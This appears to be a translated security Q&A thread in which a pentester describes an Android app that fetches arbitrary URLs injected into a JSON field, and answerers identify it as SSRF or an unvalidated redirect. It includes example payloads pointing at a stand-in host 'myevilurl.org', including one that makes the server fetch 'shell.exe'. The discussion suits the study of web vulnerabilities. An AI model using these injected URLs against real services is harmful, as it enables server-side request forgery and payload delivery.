vulnerabilidad de inyección de URL

2

Estoy ocupado con un pentest y encontré algo que me hizo preguntarme si sería explotable. Actualmente no soy capaz de explotarlo, pero quería asegurarme. También tengo curiosidad de por qué la aplicación / servidor se comporta como lo hace.

Esta es la funcionalidad:

  • La aplicación te permite subir imágenes a la nube y devolver una URL donde se encuentra la imagen
  • La aplicación luego envía la URL de retorno al servidor donde está almacenada para que otras personas encuentren las imágenes a través de la URL
  • En función de algunas partes de la URL, los usuarios obtienen otra URL diferente en un documento JSON con todas las imágenes:

enlace

se convierte en:

{"URL":"https://res.cloud.com/app/image/param1,param2,param3/something/picture1.jpg"}

  • Ese documento JSON se usa para crear solicitudes GET a la URL exacta (la segunda)

Esta es la "vulnerabilidad":

  • Cambiando la URL a lo siguiente:

    http%73://myevilurl.org/pic1.jpg?https://res.cloud.com/app/image/something/picture1.jpg

  • el usuario recupera algo en el documento JSON en la forma de:

    {"URL":"http%73://myevilurl.org/pic1.jpg?https://res/cloud.com/app/image/something/picture1.jpg"}

  • Lo cual esperaría que la aplicación solo intente GET, pero la aplicación de alguna manera hace una solicitud GET para:

    https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^

Como esta es una prueba en curso, no puedo entrar en grandes detalles (¡confidencialidad y todo!). Así que espero que esto proporcione suficiente información.

EDITAR: Lo que no mencioné anteriormente es que cuando manipulo el JSON entrante y simplemente coloco cualquier URL con HTTPS en la cadena JSON, la aplicación intenta OBTENER esa URL precisa. Así que cambio el JSON a algo como esto:

{"URL" : "https://myevilurl.org/shell.exe"}

La aplicación realmente intenta obtener shell.exe desde mi servidor. Esto no funciona cuando lo intento con% 73 en lugar de una s.

Edit2: Lo que tampoco mencioné es que se trata de una aplicación para Android.

    
pregunta Wealot 13.03.2017 - 16:32
fuente

3 respuestas

0

¡Gracias a todos por las muy buenas respuestas que me ayudaron más! Lo que aprendí fue que la URL se eliminó en cierto punto de la URL (/ point /). Si no estaba allí, el servidor comenzó a hacer cosas "extrañas" como redirigir a / AppName / ***. Pero cuando me inyecto una imagen como esta:

https://www.evilurl.org/?point/something

Recibo una solicitud GET real para mi evilurl. Así que es una vulnerabilidad de inyección de URL.

    
respondido por el Wealot 14.03.2017 - 08:52
fuente
3

Lo que está presenciando es probablemente una mitigación para una vulnerabilidad común, OWASP 2013 A10, sin validar Redirecciona y reenvía .

Si la aplicación simplemente redirige a la URL que se encuentra en el JSON, literalmente, tendrías un problema. Básicamente, cualquier persona que manipule ese JSON podría enviar su navegador a cualquier lugar que desee. Esto se denomina redireccionamiento no validado.

Pero la aplicación no hace eso. En su lugar, redirige a un controlador dentro del dominio RootServerOfApplication.com, pasando la URL del documento JSON como un argumento .

Presumiblemente, RootServerOfApplication.com/NameOfAplication mira la URL y se asegura de que sea válida (por ejemplo, tal vez se asegure de que el dominio esté en una lista blanca, uno que presumiblemente incluya cloud.com ). Este mecanismo evitaría que reenvíe un usuario final a myevilurl.org .

Deberías comprobarlo. Intente pegar https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^ directamente en su navegador y vea a dónde lo lleva.

    
respondido por el John Wu 14.03.2017 - 00:01
fuente
1

Este problema es un Solicitud del lado del servidor Vulnerabilidad . Puede usarlo para enviar solicitudes HTTP GET como el servidor vulnerable. Esto podría usarse para enrutar las solicitudes HTTP a la red interna o a implementaciones de nube restringidas por IP a>.

Además, este es un proxy HTTP GET, por lo que podría usarlo para ofrecer ataques basados en HTTP GET mientras oculta su dirección IP. La carga de un SWF válido (incluso con un tipo de contenido incorrecto) se puede usado para secuestrar sesiones del navegador .

    
respondido por el rook 13.03.2017 - 17:30
fuente

Lea otras preguntas en las etiquetas